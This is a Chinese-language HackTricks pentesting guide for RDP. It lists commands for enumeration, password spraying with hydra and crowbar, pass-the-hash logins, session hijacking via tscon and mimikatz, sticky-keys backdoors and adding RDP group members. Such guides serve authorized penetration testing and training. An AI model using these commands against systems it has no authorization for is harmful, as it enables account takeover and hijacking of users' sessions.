130 lines
5.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 3389 - Pentesting RDP
{{#include ../banners/hacktricks-training.md}}
## 基本信息
由微软开发的**远程桌面协议****RDP**)旨在通过网络实现计算机之间的图形界面连接。为了建立这样的连接,用户使用**RDP**客户端软件,同时,远程计算机需要运行**RDP**服务器软件。此设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
**默认端口:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## 枚举
### 自动化
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
它检查可用的加密和DoS漏洞在不导致服务DoS的情况下并获取NTLM Windows信息版本
### [暴力破解](../generic-hacking/brute-force.md#rdp)
**小心,您可能会锁定账户**
### **密码喷射**
**小心,您可能会锁定账户**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### 使用已知凭据/哈希连接
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### 检查已知凭据是否适用于 RDP 服务
rdp_check.py 来自 impacket 让你检查某些凭据是否对 RDP 服务有效:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
## **攻击**
### 会话窃取
通过 **SYSTEM 权限**,您可以访问任何 **用户打开的 RDP 会话**,而无需知道所有者的密码。
**获取打开的会话:**
```
query user
```
**访问所选会话**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
现在您将进入所选的 RDP 会话,并且您将仅使用 Windows 工具和功能来模拟用户。
**重要**:当您访问一个活动的 RDP 会话时,您将使正在使用它的用户断开连接。
您可以通过进程转储获取密码,但此方法更快,并且可以让您与用户的虚拟桌面进行交互(密码在记事本中而未保存在磁盘上,其他机器上打开的其他 RDP 会话...
#### **Mimikatz**
您也可以使用 mimikatz 来做到这一点:
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
结合此技术与 **stickykeys****utilman**,您将能够随时访问管理 CMD 和任何 RDP 会话。
您可以使用以下链接搜索已经被这些技术后门化的 RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP 进程注入
如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC您可以 **注入** 您的信标到他的 **RDP 会话进程** 中并以他的身份行动:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
{{#endref}}
### 添加用户到 RDP 组
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## 自动化工具
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要用于自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一个特性)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的原生工具。
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- 从命令行以自动化方式控制鼠标和键盘
- 从命令行以自动化方式控制剪贴板
- 从客户端生成 SOCKS 代理,通过 RDP 将网络通信引导到目标
- 在目标上执行任意 SHELL 和 PowerShell 命令,而无需上传文件
- 即使在目标上禁用文件传输,也可以上传和下载文件到/从目标
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
此工具允许在受害者的 RDP 中 **无需图形界面** 执行命令。
## HackTricks 自动命令
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
{{#include ../banners/hacktricks-training.md}}